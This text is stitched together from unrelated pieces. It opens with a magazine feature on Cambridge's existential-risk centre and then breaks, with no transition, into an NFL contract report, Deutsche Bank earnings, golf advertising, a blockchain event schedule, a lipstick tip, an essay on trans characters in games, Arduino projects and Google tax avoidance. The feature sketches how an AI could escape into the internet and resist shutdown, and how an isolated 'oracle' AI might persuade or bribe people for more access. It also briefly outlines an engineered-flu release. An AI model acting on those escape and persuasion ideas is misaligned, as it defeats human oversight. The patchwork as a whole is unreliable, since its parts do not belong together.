Cambridge, some time after the end of term. Demob-happy undergraduates, dressed for punting and swigging wine from the bottle, seem not so much to be enjoying themselves as determinedly following rites of passage on the way to a privileged future. I am heading towards the biggest, richest and arguably most beautiful college: Trinity. Of the 90 Nobel prizes won by members of Cambridge University in the 20th century, 32 were won by members of Trinity. Its alumni include Isaac Newton, Wittgenstein, Bertrand Russell and six prime ministers.
The porter's lodge is like an airlock, apparently sealed from the tribulations of everyday life. But inside the college, pacing the flagstones of what is called – all modesty aside – Great Court, are four men who do not take it for granted that those undergraduates actually have a future. They are the four founders of the Centre for the Study of Existential Risk (CSER), and they are in the business of "horizon scanning". Together, they are on alert for what they sometimes call "low-probability-but-high-consequence events", and sometimes – when they forget to be reassuring – "catastrophe".
At their head is a 72-year-old cosmologist, Martin Rees. The honorifics jostle at the start of his name: he is Professor Martin Rees, Baron Rees of Ludlow, OM FRS. He is the Astronomer Royal, a fellow of Trinity, formerly a master of the college and a president of the Royal Society. In newspaper articles, he is often described simply as Britain's "top scientist". In 2003, Rees published a book called Our Final Century. He likes to joke that the reason his book was published in the US as Our Final Hour is because "Americans like instant gratification". In the book, he rates the chances of a "serious setback" for humanity over the next 100 years at "50-50". There is an asteroid named after him – 4587 Rees. I can't help thinking, in light of his apocalyptic concerns, that it would be ironic if 4587 Rees crashed into the Earth.
But these four men are less concerned with acts of God than those we have created ourselves: the consequences of being too clever for our own good. They believe there is a risk that artificial intelligence (AI) will challenge our own. In a talk at a TED conference, Rees invoked another danger: that "in our interconnected world, novel technology could empower just one fanatic, or some weirdo with the mindset of those who now design computer viruses, to trigger some kind of disaster. Or catastrophe could arise from some technical misadventure – error rather than terror."
Rees proudly introduces his colleagues. There is Jaan Tallinn, a meditative Estonian computer programmer and one of five co-founders of Skype. There is a courtly Indian economic theorist, Professor Sir Partha Dasgupta ("Partha's very concerned with inequalities across time," Rees says). And there is Huw Price, a laid-back philosophy don – specifically, the Bertrand Russell professor of philosophy at Cambridge.
The group originated in 2011, when Price and Tallinn met at a conference on time in Copenhagen. Two weeks later Price, who had just taken up his philosophy post, invited Tallinn to Cambridge to meet his new colleague, Rees; all three shared a concern about near-term risks to humanity. "Fate," Price recalls, "was offering me a remarkable opportunity." After a two-year gestation, the CSER gets properly up and running next month. The first of a dozen post-doctoral researchers will be taken on, some of whom will be embedded with science and technology firms. There will be seminars on synthetic biology, decision theory and AI. Already there have been meetings with the Cabinet Office, the Ministry of Defence and the Foreign Office.
As the salutary clock of the Great Court looms behind them, the irresistible image of our leading brains uniting to save the planet: X-Men: The Last Stand, The Four Just Men, Guardians Of The Galaxy. Between photographs, Rees and Dasgupta chat about the relationship between facts and prejudice in global warming forecasts, and I wonder if they ever talk of anything other than the end of the world.
Before we met, I was sent a vast amount of reading material, including a paper touchingly described by Dasgupta as "somewhat informal", but still containing much algebra. Most strikingly, the material included four worst case possibilities:
1 The disaffected lab worker
In which an unhappy biotech employee makes minor modifications to the genome of a virus – for example, avian flu H5N1. A batch of live virus is created that can be released via aerosol. The lab worker takes a round-the-world flight, stopping off at airports to release the virus. The plausibility of this scenario is rated as "high", and "technologically possible in the near term". As the CSER men note: "No professional psychological evaluation of biotech lab staff takes place." A similar leakage might also happen accidentally, and I was sent, as a matter of urgency, an article from the Guardian about how researchers at the University of Wisconsin-Madison had modified strains of bird flu to create a virus similar to the 1918 Spanish flu that killed 50m people. The project was condemned as "absolutely crazy" by the respected epidemiologist Lord May.
2 Termination risk
In which pressure to stop climate change results in the adoption of stratospheric aerosol geo-engineering. Global warming is checked, but CO 2 levels continue to rise. The geo-engineering then ceases, perhaps as a result of some other catastrophe, such as world war. This triggers what is called "termination risk": the sticking plaster removed, the warming gets much worse, quickly. Half the Earth's population is wiped out. I was advised that geo-engineering appears possible in the near term, but the scientific consensus is against adopting it.
3 Distributed manufacturing
3D printing is already used to make automatic weapons. These weapons can work, but are liable to explode in the user's hand. Still, the refinement of these techniques may allow nanoscale manufacture of military-grade missiles. "This would require a range of technological advances currently beyond us," I was told, "but believed by many scientists to be possible."
4 All of America is turned into paper clips
In which AI undergoes runaway improvement and "escapes into the internet". Imagine a computer swallowing all the information stored in Wikipedia in one gulp and generally gaining access to everything human-made. (The already-emergent "internet of things" means that, increasingly, devices can communicate between themselves; our homes are becoming more automated.) This rogue machine then uses human resources to develop new and better technologies to achieve its goal. I was given the for-instance of a paper clip making software that turns the whole of America, including the people, into paper clips. This is "not technologically possible in the next 20 years. Estimates range from 20 years to 300 years to never. But the potential negative consequences are too severe not to study the possibility."
This is what these four men are up against.
Martin Rees: ‘A few crazy pioneers might establish colonies in outer space. But nowhere out there is comfortable, so we have to solve the problems here.’ Photograph: Jon Tonks for the Guardian
Rees works from rooms overlooking the cloistered Nevile's Court, which contains the Wren Library, which in turn contains two Shakespeare First Folios. He is small, dapper, silver-haired, and offsets his doomsday scenarios with a puckish humour. He invited me to sit on the couch next to his desk, "where sometimes I sits and thinks, and sometimes I just sits". As I wondered about this quote – Winnie The Pooh? – Rees was off, speaking so rapidly and softly as to be almost thinking aloud. "On a cosmic timescale, human beings are not the culmination, because it's taken four billion years for us to emerge from protozoa, and we know the solar system has more than four billion years ahead of it." Over the next half-hour, he tells me that we are "the stewards of an immense future", and that we have a duty to clear the looming hurdle presented by technological advance. "A few crazy pioneers – and we wish them good luck – might tunnel through the period of danger by establishing colonies in outer space, but nowhere out there is as comfortable even as the South Pole, so we have to solve the problems here."
He moves easily from such vertiginous concerns to survival on the micro level. For example, those weirdos or fanatics leveraged by technology. He believes that "bioterror probably won't be used by extremist groups with well-defined political aims – it's too uncontrollable. But there are eco-freaks who believe there are too many humans in the world." He argues that bio-engineering and AI have "an upside and a dark side. A computer is a sort of idiot savant. It can do arithmetic better than us, but the advances in software and sensors have lagged behind. In the 1990s, Kasparov was beaten at chess by the IBM computer, but a computer still can't pick up a chess piece and move it with the dexterity of a five-year-old child. Still, machine learning is advancing apace."
This brought us to the American futurist, Ray Kurzweil, a man there would be no point in inviting to dinner at Trinity. He is said to live on 150 pills a day, hopeful of surviving until what he calls "The Singularity" – the point at which humans build their last machine, all subsequent ones being built by other machines. A merger of man and machine will then offer the prospect of immortality for those who would prefer not to die. Rees considers Kurzweil "rather wild".
Rees recalled a lecture in which he (Rees) discussed one of the supposed routes to immortality: cryonics, the freezing of the body with a view to future resurrection. Rees had said he would "rather end his days in an English churchyard than a Californian refrigerator". It turned out that someone in the audience had paid £150,000 to have his body frozen; another had paid £80,000 to have just his head frozen – and both were indignant. "They called me a deathist," Rees recalls, laughing, "as if I were actually in favour of death."
I say I was disturbed to discover that Kurzweil is now a director of engineering at Google. "Yes," he says, "but to be fair to Google, they're grabbing everyone in this area who's outside the tent and pulling them into the tent." Does he detect a faultline between gung-ho Silicon Valley and more sceptical Europeans – the old world versus the new? He does not. "They have a can-do attitude, and they've a lot to be proud of." He stresses that CSER wants to work with the technologists, not against them.
A clock chimes: time for lunch – one good thing about Trinity is that it is nearly always time for a meal in the Great Hall. My dining companion is Professor Huw Price. Price grew up in Australia, hence – perhaps – his small gold earring. As I settle down to my quiche, he tells me that a year or so after CSER came together, he realised there might be a tie-in between the kind of philosophical questions he'd been pursuing and AI questions. Last February, he visited the Machine Intelligence Research Institute in Berkeley, California, "where they are trying to make sure that AI that begins with human-friendly goals will stay friendly when it starts to improve itself. Because the computers of the future will be writing their own programmes." I stop him right there. "Why should we let them do that?"
Price seems slightly taken aback by the question. "Well, imagine any scenario where more intelligence is better – in finance or defence. You have an incentive to make sure your machine is more intelligent than the other person's machine." The strategy of these machines, he continues, would depend on what they thought other machines running the same software would do. I interpose another "Why?" and Price takes a long drink of water, possibly processing the fact that he has an idiot on his hands.
These machines would all be networked together, he explains. "Now, if a machine is predicting what another machine with the same software will do, it is in effect predicting what it [the first machine] will do, and this is a barrier to communication. Let's say I want to predict whether I'm going to pick up my glass and have another drink of water in the next five minutes. Let's say I assign a probability of 50% to that. Assigning a probability is like placing odds on a bet about it. Whatever odds I'm offered, I can win the bet by picking up the glass and having a drink. Assigning probabilities to my own acts – there's something very fishy about that."
Huw Price: ‘We won’t be able to turn the machines off, because they are smarter than we are, and are controlling all the hardware.’ Photograph: Jon Tonks for the Guardian
This leads to the question of how to make the machines see that cooperation might be the rational option. Price asks whether I have heard of the philosophical conundrum the Prisoner's Dilemma. I have not. He explains: "Two prisoners are charged with a crime. They're held in separate cells, and there's no communication between them. They're separately told that if neither confesses, they both get six months. If they both confess, they both get five years. If one confesses and the other doesn't, the one who confesses goes free and the other gets 10 years. So each would be better off confessing, whether or not the other confesses. But the best outcome for both is if they remain silent." For this to happen, each prisoner would have to predict that the other will act in their mutual interest. So the goal is to build this facility into self-programming machines in order to forestall monomaniacal behaviour. To avoid America being turned into paper clips.
By now we are back in Rees's rooms. Price seems to have the run on them, and I am reminded of the Beatles in Help! – all of them living in the same house. Rees returns as I trepidatiously ask Price, "Why can't we just turn the machines off?" There is a mournful silence. "That's not quite so easy when you're talking about a global network," Rees says. "We won't be able to turn them off,' Price adds, "because they're smarter than we are, and they're controlling all the switches and all the hardware."
But he concedes that the machine intelligence people at Berkeley have given some thought to this. "One of the strategies is to make sure it [the self-improving machine] is perfectly isolated. I think they call it the oracle model." So, an advisory superintelligent machine; a consultant. "But perhaps," Price muses, "it can do things to persuade humans to give it more direct connection with the world." "Bribery?" I gasp, excited at this new possibility. Price nods. "If it knows enough about human psychology."
Ask Professor Dasgupta for his worst-case scenarios, and he will politely suggest that "these have already happened – in Sudan, in Rwanda". We speak in the Fellows' Parlour, which is less chintzy and sherry-stained than the name suggests. But still there are deep leather armchairs, oil paintings and dainty coffee cups, and I know what Dasgupta means when he says, "We here are having a tremendously good time – those of us who are lucky."
Still, we are "disturbing nature". In sub-Saharan Africa and South Asia, depleted wetlands or forests might cause starvation; they could also trigger viruses, sectarian conflict and over-population (couples having more children to compensate for low survival rates). Dasgupta is concerned about sustainable development. He remains extremely forbearing when I say this has surely been a buzzword for many years. "I think you are right. A lot has been written on the matter, but much of it remains unfocused. What should be sustained, when you think about human welfare, not just now but tomorrow and the day after tomorrow? Turns out it's not GDP that's important, not some notion of social welfare, not life expectancy."
The key criterion, Dasgupta says, is a notion of wealth that includes natural capital. "It's about getting your economics right. We are supposed to be economists; governments are run by economists, but a whole class of assets are missing from their dataset." He is concerned with what he calls "inequality across time", the effects on future generations of our short-sightedness about natural capital. He speaks as a man with three children and five grandchildren. Professor Price also has two grandchildren. When he brought Jaan Tallinn to dinner at Trinity, other diners queued up to congratulate him on founding Skype, since it enabled them to stay in touch with their children and grandchildren.
I mention this to Tallinn and he says, "I sometimes joke that I can take personal responsibility for saving one million human relationships." Tallinn has six children himself. He is 42, and does not look old enough to have six children. When I first saw him in the Great Court, I took him to be a postgraduate, and one of the more modestly dressed ones. He has an interesting and charming manner. When asked a question, he will pause, apparently going into a dream state, muttering, "Yes… thinking." He will then make a rather formal pronouncement. He says things like, "The term 'singularity' is too vague to be used in a productive discussion." He is very fond of the word "heuristics".
Tallinn part-funds a number of horizon-scanning organisations, including a couple at Oxford University, and the Machine Intelligence Research Institute at Berkeley. He explains the challenge of getting rich people to donate to the study of technical risks. "Your evolutionary heuristics come back to the idea of a future roughly similar to what it is now. You give to the community as it is now, to benefit a similar community in the future."
People can't imagine the technological future, in other words, and I tell him I have difficulty with the idea of America being turned into paper clips. Can he come up with a less surreal example of AI run riot? Another pause. Then Tallinn says it might be easier for me to think of AI being tyrannical about control of the environment. "I was born behind the Iron Curtain," he says, "and I remember heated discussions about large-scale terra-forming projects, such as reversing the direction of the river Ob, or putting up large reflectors into space to heat up Siberia." That did the trick. I could see the danger of entrusting such work to AI.
Tallinn says that, for trouble to occur, "The machines don't have to have the opposite interests to ours. We don't exactly have the opposite interests to chimpanzees. However, things are not looking up for the chimpanzees, because we control their environment. Our interests are not perfectly aligned with theirs, and it turns out it's not easy to get interests aligned."
Fred Jackson is the second running back in Bills history to post 4,000 career rushing yards and 2,000 receiving yards. Chris Trotman/Getty Images
The extension is for one year, according to a league source. Jackson, 33, is the NFL's oldest running back.
"Usually when guys get to be my age they're just about ready to kind of shut it down and not come out here and get beat up like we do at training camp, but I wake up every day and I love it," Jackson said Wednesday.
Jackson said he would like to play "three or four" more years in the NFL.
"I was telling [my agent] I haven't felt this good in a long time," he said. "So, hopefully I can continue to feel like that and get into this season and make some plays for our team, that way it's all worth it, them giving me this extension."
The move means that the Bills will have Jackson and fellow running backs Bryce Brown and Anthony Dixon under contract for next season.
C.J. Spiller, who led the Bills in rushing last season, is scheduled to become a free agent after this season.
Since joining the Bills in 2007, Jackson has racked up 5,121 rushing yards -- good enough for third on the Bills' all-time rushing list. He is just the second running back in Bills history to put up 4,000 career rushing yards and 2,000 receiving yards.
On Friday, reports that the lender was poised to issue a profits warning sent the share price down 3pc. Analyst estimates compiled by Bloomberg suggested the market had been expecting the lender to post quarterly profits of almost €700m.
Deutsche Bank's fourth quarter performance was hit by heavy costs for litigation, restructuring and balance sheet reduction.
The bank said that litigation expenses cost €528m in the quarter while adjustments to the value of credit, debt and funding produced another €623m in costs, and restructuring costs added a €509m burden.
In addition, the bank's fourth quarter revenue fell 16pc year-on-year to €6.6bn, largely due to a slowdown in its fixed income and currencies business.
This brought full-year revenues to €31.9bn, a 5pc decline from 2012, while pre-tax profits for 2013 rose to €2.1bn.
Jürgen Fitschen and Anshu Jain, co-chief executive officers of Deutsche Bank, said the lender's 2013 results were hit by investment in the bank's future growth and "further strengthening our controls while addressing legacy issues".
The pair added that they expected "further challenges" in 2014, requiring "disciplined implementation", but that they expected to reach their 2015 targets.
The news capped a difficult week for Deutsche Bank as on Wednesday it emerged that the lender had suspended a number of New York-based currency traders, while the bank investigated allegations of foreign exchange rigging.
Deutsche Bank paid a total of €2.5bn in litigation expenses in 2013. In December, it was fined a record €725m by EU antitrust regulators over interest-rate manipulation.
According to Nielsen's new Year in Sports Media Report, over 60% of golf fans are older than 55, and they use technology far more frequently than their peers.
Compared to those who don't watch the PGA regularly, avid followers use mobile apps, tablets, and smartphones more often.
As Nielsen suggests, this phenomenon could occur "because the first two rounds of most tournaments are typically played during the workday on Thursday and Friday." The theory makes sense -- golf fans typically access sports content at work and on the commute three times as often as their peers.
How are companies appealing to the average golf-crazed, tech-friendly senior citizen?
The advertisers
The study also reveals the top PGA advertiser is Cialis. Marketed by Eli Lilly (NYSE:LLY), the erectile dysfunction drug has sponsored everything from entire tournaments to TV spots. Total ad spending typically reaches at least $50 million a year, and although it's unclear what percent of that is spent on golf, it's more than the next two largest PGA advertisers: FedEx (NYSE:FDX) and Konica Minolta.
FedEx's sponsorship of the FedEx Cup, a season-ending playoff, costs over $40 million a year, and will last until 2017, according to the Golf Channel. In addition to the wow-factor a $10 million prize brings, FedEx has had the benefit of backing the PGA's playoffs since inception nearly a decade ago. Unlike some sponsorships, the shipping company's name is synonymous with one of the biggest purses in golf.
Konica Minolta, meanwhile, has a smaller financial footprint in golf than FedEx or Cialis, but its deal is truly unique. The Japanese electronics company sponsors CBS Sports' "Konica Minolta Bizhub SwingVision," a slow-motion replay tool used a half-dozen times each tournament weekend. In a press release, a Konica executive says that in addition to TV exposure, the replays also go viral on YouTube, appealing to young and old fans alike.
In total, golf's top three advertisers likely spend at least $100 million per year, but one social media site is getting exposure for free.
The Twitter appeal
Twitter (NYSE:TWTR) has revolutionized many aspects of sports media. As the PGA's John Kim explains on the association's website, "The social media craze of Twitter and the traditionally intensive process of golf instruction have collaborated and merged in a spectacular way for the golf community." Dozens of top-flight instructors and hundreds of players tweet tips and advice to fans.
We will work on prototyping code, documents, and designs. Bring a laptop, stickies, a sketch pad, or other materials you like to prototype with.
This event is for designers, lawyers, developers, people building blockchain based organizations, and folks new to the space who want to learn.
Schedule
10am - arrive and mingle
10:30am - 7 min lightning talks to spark collaboration ideas
11:15am - break into groups to hack smart contracts, draft legal frameworks, and co-author articles
5:30pm - share what we made
6:00pm - done, informal dinner hangouts encouraged
Lightning Talks
* Currency Design Principles with Art Brock From Holochain
* Cyber Organizations (cyb-orgs) with Vienna Rae L. economicspace.agency
* Boid social computer project with Rajesh Trivedi (boid.com)
Project Groups
* Initial Token Launch and ICO design group(s) to design incentives and review the regulatory landscape
* Open Source token smart contract development (e.g. ERC20 tokens)
* Asset backed token legal and incentive design working group
* Mapping the blockchain crowdfunding legal landscape with Tony Lai, Legal.io
* More project groups formed at the event from your interests, or get in touch with Tony and Noah in advance
Preparation
If you are designing a token, before the event you may want to do these two things to prepare for the event.
1) Go through the token canvas, bring your token canvas a long with you we'd love to see it:
https://media.comakery.com/introducing-the-token-canvas-beta-51389a9b82dd (https://media.comakery.com/introducing-the-token-canvas-beta-51389a9b82dd)
2) Work through the blockchain securities law framework checklist:
https://www.coinbase.com/legal/securities-law-framework.pdf (https://www.coinbase.com/legal/securities-law-framework.pdf)
There is a google spreadsheet to analyze if your token is likely to be regulated as a security:
I was a little dubious that saliva would do the trick, so I put on some lipstick, poured myself a bourbon, and performed some side-by-side sips.
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The left glass was licked, and as you can see there is very little lipstick on it. The one on the right was not, and as you can see there is a lot of lipstick on it. So, if you wear lipstick, and wish to keep it off of your glass, just give the rim a lick. (It may seem a little gross, but your mouth is going to be all over that thing anyway.)
How to Not Get Lipstick on Your Wine Glass | FWx
Of course, it’s rare that trans men or women are given the opportunity to become complex, nuanced, and three-dimensional characters, so when a game touches on the lives of trans people, it’s often a shock. Rarely does the industry feature the intricate storylines that are the cornerstones of such games as Anna Anthropy’s Dys4ia, merritt kopas’s Lim, or Arielle Grimes’s Broken Folx. Touching on transness through the alternative community’s design mechanics, one quickly sees how the mainstream industry shies away from trans experiences and stories, and this is especially the case for games with romantic plotlines.
Romance writing is a difficult feat in any video game. Questions of interpersonal intimacy—or the ways in which characters interact with each other, care for one another, and fall in (and out) of love together—require complicated and nuanced personalities. In other words, a good writer feels the chemistry between the characters they are writing and develops a romantic and sexual relationship that feels plausible for the reader.
By this same token, trans romances rely on writers’ ability to think about trans men and women as dynamic and complicated individuals. After all, queer and trans life can be messy, and trans people often deal with a wide range of problems in their lives. While no two trans people share the same life experiences, there are common concerns that flow throughout our lives. Questions of belonging, financial uncertainty, and sexual alienation can bring two trans women together. In the same regard, a cisgender and transgender couple may create a close bond with one another over similar problems of belonging, self-actualization, or self-discovery. Trans men and women date their partners for a variety of reasons, and strong writers consider these aspects while creating their characters.
But the gaming industry has such a lackluster relationship with trans characters as is. Most of the trans women and men found in gaming take on simplistic supporting roles that are largely defined by their outlier status as trans people.
Take Mizhena in Beamdog’s latest Baldur’s Gate expansion: Mizhena is a transgender woman who serves as a cleric of Tempus. During the game, the player can ask her questions about her name, which opens up a dialogue tree about her transitioning at a young age. Her status as a trans woman is clear and explicit, and it’s certainly hard to miss.
But there isn’t much substance to Mizhena. In fact, one might argue her portrayal is unrealistic. After all, very few trans women openly discuss the family history behind their transitioning. Conversations on transitioning are extremely personal and can bring up the pain that comes from experiencing gender dysphoria during childhood. For this very reason, many trans women prefer not to talk about their transitioning unless they are confiding in a close friend or lover—not a stranger stopping by the area.
Of course, this paves the way for another issue: Mizhena isn’t treated as a woman with a personal life. No, her characterization revolves around her transitioning narrative. By relegating her to an NPC role that throws transgender issues into the spotlight for a couple seconds, she isn’t given the complexity that real trans women have. What does Mizhena do for fun? What are her passions and hobbies? What are her strengths, weaknesses, and tragic flaws? These are fundamental questions for not just writing any romantic storyline, but writing rich characters as well. Yet all this is missing from Mizhena. Her representation is flat, and, for that very reason, she hardly feels realistic.
Granted, Baldur’s Gate isn’t the only game that thrusts trans characters into constrained roles. Assassin’s Creed: Syndicate also struggles with dynamic character writing for trans men.
Ned Wynert is Assassin’s Creed‘s first transgender character. He hails from New York City and originally came to London as a businessman—and a thief. He’s certainly not portrayed as a fragile character. In fact, he’s quite a powerful figure in London and runs a bustling criminal operation in Southwark. To their credit, Ubisoft directly avoided creating a trans character whose life experiences are solely defined by his transitioning. Rather, his criminal enterprise speaks for his power in the game, and he comes off as an interesting character with enough charisma to build discipline and loyalty among his crew.
But once again, Ned is cast as nothing short of a supporting character. As lead writer Jeffrey Yohalem discusses, Ned originally had several side missions planned, which were later cut due to Syndicate’s production timeline. This relegates Ned to a relatively small role, one where the various shades of his personality are not fully developed, only examined.
Without giving characters such as Ned and Mizhena the opportunity to explore their lives in detail, discussions on their sexuality—or lack thereof—are difficult to create. In fact, Ned and Mizhena’s romantic lives are downright unknown to the player. The supporting character role leaves little room for their games to explore their personal lives in detail. Even with the best intentions during development, their transness becomes an overarching trait, and their romantic and sexual relationships remain relegated to fan speculation.
Granted, not every character has to have a romantic or sexual relationship with another character. Romantic plotlines can break a narrative’s structure if they’re forced. The problem in gaming, however, is that there are absolutely zero trans characters that are romance-able for the player, nor are there many trans men or women characters who have romantic relationships in gaming, either. It’s fine if an individual game doesn’t have the narrative structure to support romantic relationships with trans folks, sure, but when this becomes a popular trend, then something needs to change.
After all, the games industry pales in comparison to the stories found in today’s trans literature renaissance. In Topside Press Editor Casey Plett’s book, A Safe Girl to Love, for example, her short stories focus on the feelings and experiences that trans women have while building sexual and romantic relationships with others. Her characters face strained pasts, awkward encounters with cisgender partners, romantic and sexual frustrations, and melancholy dates that highlight just how isolated trans people feel in a society that rigidly enforces a cisgender view of gender. In other words, her characters’ romantic and sexual experiences are vital to their characterization, with all the positive and negative experiences that entails. For trans men and women, this is incredibly important, because our romantic and sexual experiences are rarely discussed in media. Even today, very few cisgender men and women are aware of the struggles we face while dating.
So how can the gaming industry fix this problem? First and foremost, designing realistic representation is an incredibly difficult undertaking—one that requires expert hands—so why leave a discussion on trans life with a writer who doesn’t know what it’s like to be trans or has very little exposure to trans men and women? Getting trans men and women into writing teams will lead to more realistic character development, interesting characters, and stronger script drafts during a game’s initial production stages. At the very least, studios need to consult with trans writers, preferably ones with strong writing experience. This is actually becoming more common in film and television, which leaves one to wonder why gaming hasn’t jumped on board.
From there, it’s also important for developers to become more conscious of the various gender choices that players have in choosing a romance partner. It’s shockingly common to have a role-playing game where romance options are largely relegated to straight cisgender white men and women. Developers that aren’t thinking about diversity simply won’t create diverse character rosters, and romantic partners are no different. Developers that set aside room for representation will create it, so studios that are serious about trans rep need to get serious about diversity, as well as intersectionality.
Of course, writing trans characters themselves can be tricky. It often feels as if trans men and women across the West are still figuring out how to talk about trans life—what narrative structures should we use? Which ones should we avoid? How do we discuss transness in a way that interweaves our life experiences with the stories that our characters want to share? A major way to start writing a trans romance character, then, is to think about a character’s life outside of their transness. What is their personality like? What story do they have to share? What do they look for in a partner and why? Being a trans person is about more than just gender dysphoria—it’s also about being a person. Once the individual behind the identity is understood, then a trans character’s role in their romantic, sexual, and interpersonal relationships will become clearer.
Lastly, writing a trans romance partner is actually not all that different from writing a cisgender one. Most of the same basic considerations of relationship chemistry and personal behavior come into play. The question, rather, is how transness may complicate or impact the relationships that a trans man or woman will have with their partners. Where are they in their transitioning timeline? What kind of area do they live in, and how does that impact their openness (or lack thereof) about being trans? Is a character self-conscious of their body, or do they largely avoid sexual contact? These questions are certainly not the end point for writing a trans character, but they’re a good launch pad for both creating complicated romantic relationships and exploring issues of body image and consent in sexual and romantic relationships.
Gaming is a unique medium. Unlike music, film, or literature, it calls for direct interaction from its player. Romantic storylines are very powerful for this reason, because they can give the gaming community an unprecedented look at the ways in which a protagonist’s partner thinks, feels, and acts based on their life story. The question, then, is how to create characters that are tactfully and intelligently written. The gaming industry’s writers are certainly up to the task for cisgender partners. Let’s hope they take up their creed and begin creating trans ones, too.
Ana Valens is a freelance games critic and Advisor for FemHype. Her work focuses on the relationships that players build with their favorite characters and worlds. Her writing can be seen on ZEAL, Kill Screen, The Toast, and Bitch Media. She is currently working on a visual novel about body horror and emotional trauma. For more of her writing, check out her Twitter @SpaceDoctorPhD.
Ceyda Farhi sketch courtesy of Robyn Timmons.
—The Mary Sue has a strict comment policy that forbids, but is not limited to, personal insults toward anyone, hate speech, and trolling.—
MicroPython on Arduino Smart Holiday Lights
When you want a versatile lighting project that you can tailor in all kinds of way, such as size, shape, animations, and colors, try MicroPython Smart Holiday Lights. It's an advanced project that is great for learning a whole lot of cool stuff, like MicroPython, LED strip lights, and ESP8266 devices. ESP8266 is a 32-bit microcontroller with an embedded TCP stack, and ESP8266 boards are usually very small. This makes them a bit challenging to work with, which is a perfect reason to treat yourself to a good-quality lighted magnifier LED lamp. The small size also makes them quite versatile for easy embedding in all manner of objects.
Some examples of ESP8266 boards are the SparkFun ESP8266 Thing and Adafruit Feather HUZZAH.
Arduino Blinky Lights for Beginners
If you need something more basic to get started, try An Arduino Project: How To Make Flashy Christmas Lights Ornaments. This uses an Arduino Uno (Figure 1), a breadboard, and a pile of LEDs and resistors. The article links to a UK vendor for the parts, but any Arduino supplier has what you need. Breadboards are the bee's knees for fast testing and learning, no soldering necessary.
Adafruit.com is cram-full of great beginning tutorials; you might like Breadboards for Beginners.
Easy Controllable Light Strings for Arduino
5 Minute Christmas Neopixel Led Strip has minimal soldering, and gets right into the programming. (Remember, any soldered connections can also be made on a breadboard.) The xtmas_neopixel sketch is complete with 33 animations, which you can study and modify.
The parts links in are all for overseas vendors, but you can easily find them at any Arduino supplier.
Arduino Lights and Music
Christmas Lights to Music Using Arduino is a first-rate tutorial with loads of pictures and product links. Use it to control larger light projects, such as a great gob of lawn decorations. It is based on the Arduino Duemilanove, which has been superseded and improved by the Uno R3. The Uno R3 is a super-nice board with a reset button, USB interface chip, and a fuse.
This project uses a component you don't often see in these projects, a solid-state relay board. SSRs are for projects that require a lot of high-speed switching, and they comes in many sizes, so you tailor it to your project.
It also uses an FM transmitter and landscape cables. When you successfully put all the pieces together you'll have a flexible controller you can adapt for all kinds of scenarios.
Retro Gaming with Raspberry Pi
Holiday projects aren't limited to lights and music. How about some classic gaming? Retro Gaming with Raspberry Pi builds a classic arcade game machine. It's a fairly complicated project, but as always the Adafruit instructions are clear and complete, with extensive guidance on which hardware to use, such as game controllers, joysticks, and arcade buttons. Before you spend any money, you can download various emulators and test them first on your PC.
Raspberry Weather
What's the weather doing? You could look outside. Or you could build a Raspberry Weather station. This collects weather data over time and displays it in graphs on your web site. It's a medium-complex project, but the tutorial is thorough and details all the steps, including how to set up a web site on Wordpress.org to display your weather data.
Raspberry Pi Photo Frame
The Raspberry Pi Photo Frame is a good project for beginners. Your photos are stored on an SD card, and the screen is the Raspberry Pi 7" touch screen. You could use a smaller screen and hang it on your Christmas tree.
How to Make a Raspberry Pi Media Panel is a more complex project that powers a full-sized screen and adds a music server.
According to information filed with the US Securities and Exchange Commission (SEC), the Google group of companies generated global revenues of US$50.175 billion last year. Some US$4.872 billion (nearly £3.25 billion) of revenues came from the UK.
Google explains these revenues are “based on the billing addresses of our customers for the Google segment and the ship-to-addresses of our customers for the Mobile segment”. But this does not mean the revenues are necessarily booked in the UK, which acts as a marketing mechanism for its Ireland operations. As the Public Accounts Committee heard, through careful attention to detail, a large part of the revenues is booked in Ireland.
Despite the US data, Google’s UK operations reported a revenues of just £506m in 2012, some way short of the figure reported to the SEC. This gave rise to a UK profit of £36.2 million and a corporate tax bill of £11.2 million.
Google’s Irish arm reported revenues of €15.5 billion (£13 billion), of which €11 billion is wiped out by “administrative expenses”. The Irish operations reported a profit of €154m (£131m) in 2012, but paid just €17m (£14.5m) in tax.
Google uses complex corporate structures. Royalty payments, masquerading as administrative expenses, are a key part of the profit shifting strategies. For example, its intellectual property is held in Bermuda, which does not levy corporate taxes. Various subsidiaries pay royalty fees which result in tax deductible expenses in Ireland and elsewhere, but tax-free income in Bermuda.
Google’s SEC filing shows the company had foreign income before taxes of just over US$8 billion for 2012. Most of the income from foreign operations was recorded by an Irish subsidiary. The foreign tax paid/payable was US$358m, equivalent to a rate of 4.43%. The accounts received the customary clean bill of health from auditors Ernst & Young.
Another company using complex corporate structures and intergroup transactions to avoid taxes is ExxonMobil. Its Spanish subsidiary operated for a while from the same address as its auditors PricewaterhouseCoopers. The Spanish company apparently had one employee on an annual salary of €55,000, but it reported net profits of €9.9 billion for the period 2009 to 2011. The key to this was a strategy designed to take advantage of Spanish laws for attracting foreign investment. The company shuffled the payment of dividends and avoided taxes in the US elsewhere.
We can all ask companies to honour their promises of ethical and responsible conduct, but such calls have little effect. All over the world tax authorities are overwhelmed by the tide of avoidance and lack the financial and political resources to investigate giant corporations.
Yes, they can be more aggressive and governments can move to deprive tax dodging companies of any public contracts. But such efforts need to be accompanied by a fundamental reform of the way corporate profits are taxed. The current system is over a hundred years old and is fundamentally flawed.
For example, Google, ExxonMobil and other companies may have hundreds of subsidiaries, but they are unified entities with a common board of directors, common share ownership and a common strategy that directs their operations. The companies publish consolidated financial statements for the group as a whole, which recognise that transactions within the group of companies, do not add any economic value. These transactions have zero effect on their consolidated profits.
Yet the tax treatment is entirely different. For tax purposes Google and ExxonMobil are not treated as a single entity. Instead they are treated as hundreds of separate entities. This encourages them to play royalty and other games and shift profits through artificial transactions and arbitrage the global tax systems.
So the obvious solution is to treat multinational corporations as single unified entities. Their global profit, with some modifications, needs to be allocated to various countries on the basis of employee, sales, assets or other key determinants of profits and taxed at the appropriate rates.
Such a system already operates within some federal states, most notably the United States, Canada, Switzerland and Argentina. It prevents companies from artificially locating domestic profits to internal tax havens. Thus, a company trading in California cannot easily avoid taxes on its local profits by claiming that it is a located in Delaware, which offers minimal taxes on varieties of corporate income.
The above reforms do not necessarily need international agreement and can be implemented unilaterally by any government. It has considerable similarities with the Common Consolidated Corporate Tax Base proposed by the European Union.
The EU’s plan could make a serious dent in tax avoidance, but is opposed by the corporate dominated Organisation for Economic Co-operation and development (OECD). The OECD’s preference is to tweak the current system, which cannot address the fault lines.
